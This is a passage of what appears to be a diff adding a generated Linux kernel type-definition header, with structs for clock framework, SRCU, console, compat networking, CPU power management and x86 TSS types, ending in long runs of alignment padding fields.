clk_duty; + +struct clk_ops { + int (*prepare)(struct clk_hw *); + void (*unprepare)(struct clk_hw *); + int (*is_prepared)(struct clk_hw *); + void (*unprepare_unused)(struct clk_hw *); + int (*enable)(struct clk_hw *); + void (*disable)(struct clk_hw *); + int (*is_enabled)(struct clk_hw *); + void (*disable_unused)(struct clk_hw *); + int (*save_context)(struct clk_hw *); + void (*restore_context)(struct clk_hw *); + unsigned long (*recalc_rate)(struct clk_hw *, unsigned long); + long (*round_rate)(struct clk_hw *, unsigned long, unsigned long *); + int (*determine_rate)(struct clk_hw *, struct clk_rate_request *); + int (*set_parent)(struct clk_hw *, u8); + u8 (*get_parent)(struct clk_hw *); + int (*set_rate)(struct clk_hw *, unsigned long, unsigned long); + int (*set_rate_and_parent)(struct clk_hw *, unsigned long, unsigned long, u8); + unsigned long (*recalc_accuracy)(struct clk_hw *, unsigned long); + int (*get_phase)(struct clk_hw *); + int (*set_phase)(struct clk_hw *, int); + int (*get_duty_cycle)(struct clk_hw *, struct clk_duty *); + int (*set_duty_cycle)(struct clk_hw *, struct clk_duty *); + int (*init)(struct clk_hw *); + void (*terminate)(struct clk_hw *); + void (*debug_init)(struct clk_hw *, struct dentry *); +}; + +struct clk_composite { + struct clk_hw hw; + struct clk_ops ops; + struct clk_hw *mux_hw; + struct clk_hw *rate_hw; + struct clk_hw *gate_hw; + const struct clk_ops *mux_ops; + const struct clk_ops *rate_ops; + const struct clk_ops *gate_ops; +}; + +struct clk_duty { + unsigned int num; + unsigned int den; +}; + +struct clk_parent_map; + +struct clk_core { + const char *name; + const struct clk_ops *ops; + struct clk_hw *hw; + struct module *owner; + struct device *dev; + struct hlist_node rpm_node; + struct device_node *of_node; + struct clk_core *parent; + struct clk_parent_map *parents; + u8 num_parents; + u8 new_parent_index; + unsigned long rate; + unsigned long req_rate; + unsigned long new_rate; + struct clk_core *new_parent; + struct clk_core *new_child; + unsigned long flags; + bool orphan; + bool rpm_enabled; + unsigned int enable_count; + unsigned int prepare_count; + unsigned int protect_count; + unsigned long min_rate; + unsigned long max_rate; + unsigned long accuracy; + int phase; + struct clk_duty duty; + struct hlist_head children; + struct hlist_node child_node; + struct hlist_head clks; + unsigned int notifier_count; + struct dentry *dentry; + struct hlist_node debug_node; + struct kref ref; +}; + +struct clk_div_table { + unsigned int val; + unsigned int div; +}; + +struct clk_divider { + struct clk_hw hw; + void *reg; + u8 shift; + u8 width; + u8 flags; + const struct clk_div_table *table; + spinlock_t *lock; +}; + +struct clk_fixed_factor { + struct clk_hw hw; + unsigned int mult; + unsigned int div; + unsigned long acc; + unsigned int flags; +}; + +struct clk_fixed_rate { + struct clk_hw hw; + unsigned long fixed_rate; + unsigned long fixed_accuracy; + unsigned long flags; +}; + +struct clk_fractional_divider { + struct clk_hw hw; + void *reg; + u8 mshift; + u8 mwidth; + u8 nshift; + u8 nwidth; + u8 flags; + void (*approximation)(struct clk_hw *, unsigned long, unsigned long *, unsigned long *, unsigned long *); + spinlock_t *lock; +}; + +struct clk_gate { + struct clk_hw hw; + void *reg; + u8 bit_idx; + u8 flags; + spinlock_t *lock; +}; + +struct gpio_desc; + +struct clk_gpio { + struct clk_hw hw; + struct gpio_desc *gpiod; +}; + +struct clk_parent_data; + +struct clk_init_data { + const char *name; + const struct clk_ops *ops; + const char * const *parent_names; + const struct clk_parent_data *parent_data; + const struct clk_hw **parent_hws; + u8 num_parents; + unsigned long flags; +}; + +struct clk_lookup { + struct list_head node; + const char *dev_id; + const char *con_id; + struct clk *clk; + struct clk_hw *clk_hw; +}; + +struct clk_lookup_alloc { + struct clk_lookup cl; + char dev_id[24]; + char con_id[16]; +}; + +struct clk_multiplier { + struct clk_hw hw; + void *reg; + u8 shift; + u8 width; + u8 flags; + spinlock_t *lock; +}; + +struct clk_mux { + struct clk_hw hw; + void *reg; + const u32 *table; + u32 mask; + u8 shift; + u8 flags; + spinlock_t *lock; +}; + +struct srcu_node; + +struct srcu_usage { + struct srcu_node *node; + struct srcu_node *level[4]; + int srcu_size_state; + struct mutex srcu_cb_mutex; + spinlock_t lock; + struct mutex srcu_gp_mutex; + unsigned long srcu_gp_seq; + unsigned long srcu_gp_seq_needed; + unsigned long srcu_gp_seq_needed_exp; + unsigned long srcu_gp_start; + unsigned long srcu_last_gp_end; + unsigned long srcu_size_jiffies; + unsigned long srcu_n_lock_retries; + unsigned long srcu_n_exp_nodelay; + bool sda_is_static; + unsigned long srcu_barrier_seq; + struct mutex srcu_barrier_mutex; + struct completion srcu_barrier_completion; + atomic_t srcu_barrier_cpu_cnt; + unsigned long reschedule_jiffies; + unsigned long reschedule_count; + struct delayed_work work; + struct srcu_struct *srcu_ssp; +}; + +struct srcu_data; + +struct srcu_struct { + unsigned int srcu_idx; + struct srcu_data __attribute__((btf_type_tag("percpu"))) *sda; + struct lockdep_map dep_map; + struct srcu_usage *srcu_sup; +}; + +struct srcu_notifier_head { + struct mutex mutex; + struct srcu_usage srcuu; + struct srcu_struct srcu; + struct notifier_block __attribute__((btf_type_tag("rcu"))) *head; +}; + +struct clk_notifier { + struct clk *clk; + struct srcu_notifier_head notifier_head; + struct list_head node; +}; + +struct clk_notifier_data { + struct clk *clk; + unsigned long old_rate; + unsigned long new_rate; +}; + +struct clk_notifier_devres { + struct clk *clk; + struct notifier_block *nb; +}; + +struct clk_parent_data { + const struct clk_hw *hw; + const char *fw_name; + const char *name; + int index; +}; + +struct clk_parent_map { + const struct clk_hw *hw; + struct clk_core *core; + const char *fw_name; + const char *name; + int index; +}; + +struct clk_rate_request { + struct clk_core *core; + unsigned long rate; + unsigned long min_rate; + unsigned long max_rate; + unsigned long best_parent_rate; + struct clk_hw *best_parent_hw; +}; + +struct clock_event_device { + void (*event_handler)(struct clock_event_device *); + int (*set_next_event)(unsigned long, struct clock_event_device *); + int (*set_next_ktime)(ktime_t, struct clock_event_device *); + ktime_t next_event; + u64 max_delta_ns; + u64 min_delta_ns; + u32 mult; + u32 shift; + enum clock_event_state state_use_accessors; + unsigned int features; + unsigned long retries; + int (*set_state_periodic)(struct clock_event_device *); + int (*set_state_oneshot)(struct clock_event_device *); + int (*set_state_oneshot_stopped)(struct clock_event_device *); + int (*set_state_shutdown)(struct clock_event_device *); + int (*tick_resume)(struct clock_event_device *); + void (*broadcast)(const struct cpumask *); + void (*suspend)(struct clock_event_device *); + void (*resume)(struct clock_event_device *); + unsigned long min_delta_ticks; + unsigned long max_delta_ticks; + const char *name; + int rating; + int irq; + int bound_on; + const struct cpumask *cpumask; + struct list_head list; + struct module *owner; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct clock_identity { + u8 id[8]; +}; + +struct clocksource_base; + +struct clocksource { + u64 (*read)(struct clocksource *); + u64 mask; + u32 mult; + u32 shift; + u64 max_idle_ns; + u32 maxadj; + u32 uncertainty_margin; + u64 max_cycles; + const char *name; + struct list_head list; + u32 freq_khz; + int rating; + enum clocksource_ids id; + enum vdso_clock_mode vdso_clock_mode; + unsigned long flags; + struct clocksource_base *base; + int (*enable)(struct clocksource *); + void (*disable)(struct clocksource *); + void (*suspend)(struct clocksource *); + void (*resume)(struct clocksource *); + void (*mark_unstable)(struct clocksource *); + void (*tick_stable)(struct clocksource *); + struct list_head wd_list; + u64 cs_last; + u64 wd_last; + struct module *owner; +}; + +struct clocksource_base { + enum clocksource_ids id; + u32 freq_khz; + u64 offset; + u32 numerator; + u32 denominator; +}; + +struct clone_args { + __u64 flags; + __u64 pidfd; + __u64 child_tid; + __u64 parent_tid; + __u64 exit_signal; + __u64 stack; + __u64 stack_size; + __u64 tls; + __u64 set_tid; + __u64 set_tid_size; + __u64 cgroup; +}; + +struct dm_table; + +struct dm_io; + +struct clone_info { + struct dm_table *map; + struct bio *bio; + struct dm_io *io; + sector_t sector; + unsigned int sector_count; + bool is_abnormal_io: 1; + bool submit_as_polled: 1; +}; + +struct clone_root { + struct btrfs_root *root; + u64 ino; + u64 offset; + u64 num_bytes; + bool found_ref; +}; + +struct cmac_desc_ctx { + unsigned int len; + u8 odds[0]; +}; + +struct cmac_tfm_ctx { + struct crypto_cipher *child; + __be64 consts[0]; +}; + +struct cmd { + u8 cmd_id; + u8 group_id; +}; + +struct cmis_cdb_advert_rpl { + u8 inst_supported; + u8 read_write_len_ext; + u8 resv1; + u8 resv2; +}; + +struct cmis_cdb_fw_mng_features_rpl { + u8 resv1; + u8 resv2; + u8 start_cmd_payload_size; + u8 resv3; + u8 read_write_len_ext; + u8 write_mechanism; + u8 resv4; + u8 resv5; + __be16 max_duration_start; + __be16 resv6; + __be16 max_duration_write; + __be16 max_duration_complete; + __be16 resv7; +}; + +struct cmis_cdb_module_features_rpl { + u8 resv1[34]; + __be16 max_completion_time; +}; + +struct cmis_cdb_query_status_pl { + u16 response_delay; +}; + +struct cmis_cdb_query_status_rpl { + u8 length; + u8 status; +}; + +struct cmis_cdb_run_fw_image_pl { + u8 resv1; + u8 image_to_run; + u16 delay_to_reset; +}; + +struct cmis_cdb_start_fw_download_pl_h { + __be32 image_size; + __be32 resv1; +}; + +struct cmis_cdb_start_fw_download_pl { + union { + struct { + __be32 image_size; + __be32 resv1; + }; + struct cmis_cdb_start_fw_download_pl_h head; + }; + u8 vendor_data[112]; +}; + +struct cmis_cdb_write_fw_block_lpl_pl { + __be32 block_address; + u8 fw_block[116]; +}; + +struct cmis_fw_update_fw_mng_features { + u8 start_cmd_payload_size; + u16 max_duration_start; + u16 max_duration_write; + u16 max_duration_complete; +}; + +struct cmis_password_entry_pl { + __be32 password; +}; + +struct cmis_rev_rpl { + u8 rev; +}; + +struct cmis_wait_for_cond_rpl { + u8 state; +}; + +struct cmos_rtc; + +struct rtc_time; + +struct cmos_read_alarm_callback_param { + struct cmos_rtc *cmos; + struct rtc_time *time; + unsigned char rtc_control; +}; + +struct rtc_time { + int tm_sec; + int tm_min; + int tm_hour; + int tm_mday; + int tm_mon; + int tm_year; + int tm_wday; + int tm_yday; + int tm_isdst; +}; + +struct rtc_wkalrm { + unsigned char enabled; + unsigned char pending; + struct rtc_time time; +}; + +struct rtc_device; + +struct cmos_rtc { + struct rtc_device *rtc; + struct device *dev; + int irq; + struct resource *iomem; + time64_t alarm_expires; + void (*wake_on)(struct device *); + void (*wake_off)(struct device *); + u8 enabled_wake; + u8 suspend_ctrl; + u8 day_alrm; + u8 mon_alrm; + u8 century; + struct rtc_wkalrm saved_wkalrm; +}; + +struct cmos_rtc_board_info { + void (*wake_on)(struct device *); + void (*wake_off)(struct device *); + u32 flags; + int address_space; + u8 rtc_day_alarm; + u8 rtc_mon_alarm; + u8 rtc_century; +}; + +struct cmos_set_alarm_callback_param { + struct cmos_rtc *cmos; + unsigned char mon; + unsigned char mday; + unsigned char hrs; + unsigned char min; + unsigned char sec; + struct rtc_wkalrm *t; +}; + +struct crypto_comp; + +struct cmp_data { + struct task_struct *thr; + struct crypto_comp *cc; + atomic_t ready; + atomic_t stop; + int ret; + wait_queue_head_t go; + wait_queue_head_t done; + size_t unc_len; + size_t cmp_len; + unsigned char unc[131072]; + unsigned char cmp[143360]; +}; + +struct cmsghdr { + __kernel_size_t cmsg_len; + int cmsg_level; + int cmsg_type; +}; + +struct ethtool_coalesce { + __u32 cmd; + __u32 rx_coalesce_usecs; + __u32 rx_max_coalesced_frames; + __u32 rx_coalesce_usecs_irq; + __u32 rx_max_coalesced_frames_irq; + __u32 tx_coalesce_usecs; + __u32 tx_max_coalesced_frames; + __u32 tx_coalesce_usecs_irq; + __u32 tx_max_coalesced_frames_irq; + __u32 stats_block_coalesce_usecs; + __u32 use_adaptive_rx_coalesce; + __u32 use_adaptive_tx_coalesce; + __u32 pkt_rate_low; + __u32 rx_coalesce_usecs_low; + __u32 rx_max_coalesced_frames_low; + __u32 tx_coalesce_usecs_low; + __u32 tx_max_coalesced_frames_low; + __u32 pkt_rate_high; + __u32 rx_coalesce_usecs_high; + __u32 rx_max_coalesced_frames_high; + __u32 tx_coalesce_usecs_high; + __u32 tx_max_coalesced_frames_high; + __u32 rate_sample_interval; +}; + +struct kernel_ethtool_coalesce { + u8 use_cqe_mode_tx; + u8 use_cqe_mode_rx; + u32 tx_aggr_max_bytes; + u32 tx_aggr_max_frames; + u32 tx_aggr_time_usecs; +}; + +struct coalesce_reply_data { + struct ethnl_reply_data base; + struct ethtool_coalesce coalesce; + struct kernel_ethtool_coalesce kernel_coalesce; + u32 supported_params; +}; + +struct codel_params { + codel_time_t target; + codel_time_t ce_threshold; + codel_time_t interval; + u32 mtu; + bool ecn; + u8 ce_threshold_selector; + u8 ce_threshold_mask; +}; + +struct codel_stats { + u32 maxpacket; + u32 drop_count; + u32 drop_len; + u32 ecn_mark; + u32 ce_mark; +}; + +struct codel_vars { + u32 count; + u32 lastcount; + bool dropping; + u16 rec_inv_sqrt; + codel_time_t first_above_time; + codel_time_t drop_next; + codel_time_t ldelay; +}; + +struct coex_5g_afh_map { + u32 wl_5g_ch; + u8 bt_skip_ch; + u8 bt_skip_span; +}; + +struct coex_rf_para { + u8 wl_pwr_dec_lvl; + u8 bt_pwr_dec_lvl; + bool wl_low_gain_en; + u8 bt_lna_lvl; +}; + +struct coex_table_para { + u32 bt; + u32 wl; +}; + +struct coex_tdma_para { + u8 para[5]; +}; + +struct collapse_control { + bool is_khugepaged; + u32 node_load[1024]; + nodemask_t alloc_nmask; +}; + +struct element; + +struct colocated_ap_data { + const struct element *ssid_elem; + struct list_head ap_list; + u32 s_ssid_tmp; + int n_coloc; +}; + +struct commit_header { + __be32 h_magic; + __be32 h_blocktype; + __be32 h_sequence; + unsigned char h_chksum_type; + unsigned char h_chksum_size; + unsigned char h_padding[2]; + __be32 h_chksum[8]; + __be64 h_commit_sec; + __be32 h_commit_nsec; +}; + +struct zone; + +struct compact_control { + struct list_head freepages[11]; + struct list_head migratepages; + unsigned int nr_freepages; + unsigned int nr_migratepages; + unsigned long free_pfn; + unsigned long migrate_pfn; + unsigned long fast_start_pfn; + struct zone *zone; + unsigned long total_migrate_scanned; + unsigned long total_free_scanned; + unsigned short fast_search_fail; + short search_order; + const gfp_t gfp_mask; + int order; + int migratetype; + const unsigned int alloc_flags; + const int highest_zoneidx; + enum migrate_mode mode; + bool ignore_skip_hint; + bool no_set_skip_hint; + bool ignore_block_suitable; + bool direct_compaction; + bool proactive_compaction; + bool whole_zone; + bool contended; + bool finish_pageblock; + bool alloc_contig; +}; + +struct compat_group_source_req { + __u32 gsr_interface; + struct __kernel_sockaddr_storage gsr_group; + struct __kernel_sockaddr_storage gsr_source; +} __attribute__((packed)); + +struct compat_if_settings { + unsigned int type; + unsigned int size; + compat_uptr_t ifs_ifsu; +}; + +struct compat_ifmap { + compat_ulong_t mem_start; + compat_ulong_t mem_end; + unsigned short base_addr; + unsigned char irq; + unsigned char dma; + unsigned char port; +}; + +struct compat_ifreq { + union { + char ifrn_name[16]; + } ifr_ifrn; + union { + struct sockaddr ifru_addr; + struct sockaddr ifru_dstaddr; + struct sockaddr ifru_broadaddr; + struct sockaddr ifru_netmask; + struct sockaddr ifru_hwaddr; + short ifru_flags; + compat_int_t ifru_ivalue; + compat_int_t ifru_mtu; + struct compat_ifmap ifru_map; + char ifru_slave[16]; + char ifru_newname[16]; + compat_caddr_t ifru_data; + struct compat_if_settings ifru_settings; + } ifr_ifru; +}; + +struct compat_iovec { + compat_uptr_t iov_base; + compat_size_t iov_len; +}; + +struct compat_msghdr { + compat_uptr_t msg_name; + compat_int_t msg_namelen; + compat_uptr_t msg_iov; + compat_size_t msg_iovlen; + compat_uptr_t msg_control; + compat_size_t msg_controllen; + compat_uint_t msg_flags; +}; + +struct compat_mmsghdr { + struct compat_msghdr msg_hdr; + compat_uint_t msg_len; +}; + +struct compat_sg_io_hdr { + compat_int_t interface_id; + compat_int_t dxfer_direction; + unsigned char cmd_len; + unsigned char mx_sb_len; + unsigned short iovec_count; + compat_uint_t dxfer_len; + compat_uint_t dxferp; + compat_uptr_t cmdp; + compat_uptr_t sbp; + compat_uint_t timeout; + compat_uint_t flags; + compat_int_t pack_id; + compat_uptr_t usr_ptr; + unsigned char status; + unsigned char masked_status; + unsigned char msg_status; + unsigned char sb_len_wr; + unsigned short host_status; + unsigned short driver_status; + compat_int_t resid; + compat_uint_t duration; + compat_uint_t info; +}; + +struct component_ops; + +struct component { + struct list_head node; + struct aggregate_device *adev; + bool bound; + const struct component_ops *ops; + int subcomponent; + struct device *dev; +}; + +struct component_master_ops { + int (*bind)(struct device *); + void (*unbind)(struct device *); +}; + +struct component_match_array; + +struct component_match { + size_t alloc; + size_t num; + struct component_match_array *compare; +}; + +struct component_match_array { + void *data; + int (*compare)(struct device *, void *); + int (*compare_typed)(struct device *, int, void *); + void (*release)(struct device *, void *); + struct component *component; + bool duplicate; +}; + +struct component_ops { + int (*bind)(struct device *, struct device *, void *); + void (*unbind)(struct device *, struct device *, void *); +}; + +typedef int (*decompress_fn)(unsigned char *, long, long (*)(void *, unsigned long), long (*)(void *, unsigned long), unsigned char *, long *, void (*)(char *)); + +struct compress_format { + unsigned char magic[2]; + const char *name; + decompress_fn decompressor; +}; + +struct compressed_bio { + unsigned int nr_folios; + struct folio **compressed_folios; + u64 start; + unsigned int len; + unsigned int compressed_len; + u8 compress_type; + bool writeback; + union { + struct btrfs_bio *orig_bbio; + struct work_struct write_end_work; + }; + struct btrfs_bio bbio; +}; + +struct consw; + +struct con_driver { + const struct consw *con; + const char *desc; + struct device *dev; + int node; + int first; + int last; + int flag; +}; + +struct deflate_state; + +typedef struct deflate_state deflate_state; + +typedef block_state (*compress_func)(deflate_state *, int); + +struct config_s { + ush good_length; + ush max_lazy; + ush nice_length; + ush max_chain; + compress_func func; +}; + +typedef struct config_s config; + +struct conntrack_gc_work { + struct delayed_work dwork; + u32 next_bucket; + u32 avg_timeout; + u32 count; + u32 start_time; + bool exiting; + bool early_drop; +}; + +struct console; + +struct printk_buffers; + +struct nbcon_context { + struct console *console; + unsigned int spinwait_max_us; + enum nbcon_prio prio; + unsigned int allow_unsafe_takeover: 1; + unsigned int backlog: 1; + struct printk_buffers *pbufs; + u64 seq; +}; + +struct tty_driver; + +struct nbcon_write_context; + +struct console { + char name[16]; + void (*write)(struct console *, const char *, unsigned int); + int (*read)(struct console *, char *, unsigned int); + struct tty_driver * (*device)(struct console *, int *); + void (*unblank)(void); + int (*setup)(struct console *, char *); + int (*exit)(struct console *); + int (*match)(struct console *, char *, int, char *); + short flags; + short index; + int cflag; + uint ispeed; + uint ospeed; + u64 seq; + unsigned long dropped; + void *data; + struct hlist_node node; + void (*write_atomic)(struct console *, struct nbcon_write_context *); + void (*write_thread)(struct console *, struct nbcon_write_context *); + void (*device_lock)(struct console *, unsigned long *); + void (*device_unlock)(struct console *, unsigned long); + atomic_t nbcon_state; + atomic_long_t nbcon_seq; + struct nbcon_context nbcon_device_ctxt; + atomic_long_t nbcon_prev_seq; + struct printk_buffers *pbufs; + struct task_struct *kthread; + struct rcuwait rcuwait; + struct irq_work irq_work; +}; + +struct console_cmdline { + char name[16]; + int index; + char devname[32]; + bool user_specified; + char *options; +}; + +struct console_flush_type { + bool nbcon_atomic; + bool nbcon_offload; + bool legacy_direct; + bool legacy_offload; +}; + +struct console_font { + unsigned int width; + unsigned int height; + unsigned int charcount; + unsigned char *data; +}; + +struct console_font_op { + unsigned int op; + unsigned int flags; + unsigned int width; + unsigned int height; + unsigned int charcount; + unsigned char __attribute__((btf_type_tag("user"))) *data; +}; + +struct constant_table { + const char *name; + int value; +}; + +struct vc_data; + +struct consw { + struct module *owner; + const char * (*con_startup)(void); + void (*con_init)(struct vc_data *, bool); + void (*con_deinit)(struct vc_data *); + void (*con_clear)(struct vc_data *, unsigned int, unsigned int, unsigned int); + void (*con_putc)(struct vc_data *, u16, unsigned int, unsigned int); + void (*con_putcs)(struct vc_data *, const u16 *, unsigned int, unsigned int, unsigned int); + void (*con_cursor)(struct vc_data *, bool); + bool (*con_scroll)(struct vc_data *, unsigned int, unsigned int, enum con_scroll, unsigned int); + bool (*con_switch)(struct vc_data *); + bool (*con_blank)(struct vc_data *, enum vesa_blank_mode, bool); + int (*con_font_set)(struct vc_data *, const struct console_font *, unsigned int, unsigned int); + int (*con_font_get)(struct vc_data *, struct console_font *, unsigned int); + int (*con_font_default)(struct vc_data *, struct console_font *, const char *); + int (*con_resize)(struct vc_data *, unsigned int, unsigned int, bool); + void (*con_set_palette)(struct vc_data *, const unsigned char *); + void (*con_scrolldelta)(struct vc_data *, int); + bool (*con_set_origin)(struct vc_data *); + void (*con_save_screen)(struct vc_data *); + u8 (*con_build_attr)(struct vc_data *, u8, enum vc_intensity, bool, bool, bool, bool); + void (*con_invert_region)(struct vc_data *, u16 *, int); + void (*con_debug_enter)(struct vc_data *); + void (*con_debug_leave)(struct vc_data *); +}; + +struct microcode_amd; + +struct cont_desc { + struct microcode_amd *mc; + u32 psize; + u8 *data; + size_t size; +}; + +struct container_dev { + struct device dev; + int (*offline)(struct container_dev *); +}; + +struct context_tracking { + bool active; + int recursion; + atomic_t state; + long nesting; + long nmi_nesting; +}; + +struct contig_page_info { + unsigned long free_pages; + unsigned long free_blocks_total; + unsigned long free_blocks_suitable; +}; + +struct virtio_net_ctrl_hdr { + __u8 class; + __u8 cmd; +}; + +struct control_buf { + struct virtio_net_ctrl_hdr hdr; + virtio_net_ctrl_ack status; +}; + +struct skcipher_request; + +struct convert_context { + struct completion restart; + struct bio *bio_in; + struct bvec_iter iter_in; + struct bio *bio_out; + struct bvec_iter iter_out; + atomic_t cc_pending; + u64 cc_sector; + union { + struct skcipher_request *req; + struct aead_request *req_aead; + } r; + bool aead_recheck; + bool aead_failed; +}; + +struct cooling_spec { + unsigned long upper; + unsigned long lower; + unsigned int weight; +}; + +struct copy_subpage_arg { + struct folio *dst; + struct folio *src; + struct vm_area_struct *vma; +}; + +struct core_name { + char *corename; + int used; + int size; +}; + +struct core_thread { + struct task_struct *task; + struct core_thread *next; +}; + +struct core_state { + atomic_t nr_threads; + struct core_thread dumper; + struct completion startup; +}; + +struct core_text { + unsigned long base; + unsigned long end; + const char *name; +}; + +struct core_vma_metadata { + unsigned long start; + unsigned long end; + unsigned long flags; + unsigned long dump_size; + unsigned long pgoff; + struct file *file; +}; + +struct kernel_siginfo; + +typedef struct kernel_siginfo kernel_siginfo_t; + +struct coredump_params { + const kernel_siginfo_t *siginfo; + struct file *file; + unsigned long limit; + unsigned long mm_flags; + int cpu; + loff_t written; + loff_t pos; + loff_t to_skip; + int vma_count; + size_t vma_data_size; + struct core_vma_metadata *vma_meta; +}; + +struct pgprot { + pgprotval_t pgprot; +}; + +typedef struct pgprot pgprot_t; + +struct cpa_data { + unsigned long *vaddr; + pgd_t *pgd; + pgprot_t mask_set; + pgprot_t mask_clr; + unsigned long numpages; + unsigned long curpage; + unsigned long pfn; + unsigned int flags; + unsigned int force_split: 1; + unsigned int force_static_prot: 1; + unsigned int force_flush_all: 1; + struct page **pages; +}; + +struct cpc_reg { + u8 descriptor; + u16 length; + u8 space_id; + u8 bit_width; + u8 bit_offset; + u8 access_width; + u64 address; +} __attribute__((packed)); + +struct cpc_register_resource { + acpi_object_type type; + u64 *sys_mem_vaddr; + union { + struct cpc_reg reg; + u64 int_value; + } cpc_entry; +}; + +struct cpc_desc { + int num_entries; + int version; + int cpu_id; + int write_cmd_status; + int write_cmd_id; + spinlock_t rmw_lock; + struct cpc_register_resource cpc_regs[21]; + struct acpi_psd_package domain_info; + struct kobject kobj; +}; + +struct cpio_data { + void *data; + size_t size; + char name[18]; +}; + +struct cppc_perf_caps { + u32 guaranteed_perf; + u32 highest_perf; + u32 nominal_perf; + u32 lowest_perf; + u32 lowest_nonlinear_perf; + u32 lowest_freq; + u32 nominal_freq; + u32 energy_perf; + bool auto_sel; +}; + +struct cppc_perf_ctrls { + u32 max_perf; + u32 min_perf; + u32 desired_perf; + u32 energy_perf; +}; + +struct cppc_perf_fb_ctrs { + u64 reference; + u64 delivered; + u64 reference_perf; + u64 wraparound_time; +}; + +struct cppc_cpudata { + struct list_head node; + struct cppc_perf_caps perf_caps; + struct cppc_perf_ctrls perf_ctrls; + struct cppc_perf_fb_ctrs perf_fb_ctrs; + unsigned int shared_type; + cpumask_var_t shared_cpu_map; +}; + +struct pcc_mbox_chan; + +struct cppc_pcc_data { + struct pcc_mbox_chan *pcc_channel; + void *pcc_comm_addr; + bool pcc_channel_acquired; + unsigned int deadline_us; + unsigned int pcc_mpar; + unsigned int pcc_mrtt; + unsigned int pcc_nominal; + bool pending_pcc_write_cmd; + bool platform_owns_pcc; + unsigned int pcc_write_cnt; + struct rw_semaphore pcc_lock; + wait_queue_head_t pcc_write_wait_q; + ktime_t last_cmd_cmpl_time; + ktime_t last_mpar_reset; + int mpar_count; + int refcount; +}; + +struct cpu { + int node_id; + int hotpluggable; + struct device dev; +}; + +struct cpu_attr { + struct device_attribute attr; + const struct cpumask * const map; +}; + +struct cpu_cacheinfo { + struct cacheinfo *info_list; + unsigned int per_cpu_data_slice_size; + unsigned int num_levels; + unsigned int num_leaves; + bool cpu_map_populated; + bool early_ci_levels; +}; + +struct update_util_data { + void (*func)(struct update_util_data *, u64, unsigned int); +}; + +struct policy_dbs_info; + +struct cpu_dbs_info { + u64 prev_cpu_idle; + u64 prev_update_time; + u64 prev_cpu_nice; + unsigned int prev_load; + struct update_util_data update_util; + struct policy_dbs_info *policy_dbs; +}; + +struct cpuinfo_x86; + +struct cpu_dev { + const char *c_vendor; + const char *c_ident[2]; + void (*c_early_init)(struct cpuinfo_x86 *); + void (*c_bsp_init)(struct cpuinfo_x86 *); + void (*c_init)(struct cpuinfo_x86 *); + void (*c_identify)(struct cpuinfo_x86 *); + void (*c_detect_tlb)(struct cpuinfo_x86 *); + int c_x86_vendor; +}; + +struct cpu_down_work { + unsigned int cpu; + enum cpuhp_state target; +}; + +struct entry_stack { + char stack[4096]; +}; + +struct entry_stack_page { + struct entry_stack stack; +}; + +struct x86_hw_tss { + u32 reserved1; + u64 sp0; + u64 sp1; + u64 sp2; + u64 reserved2; + u64 ist[7]; + u32 reserved3; + u32 reserved4; + u16 reserved5; + u16 io_bitmap_base; +} __attribute__((packed)); + +struct x86_io_bitmap { + u64 prev_sequence; + unsigned int prev_max; + unsigned long bitmap[1025]; + unsigned long mapall[1025]; +}; + +struct tss_struct { + struct x86_hw_tss x86_tss; + struct x86_io_bitmap io_bitmap; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; 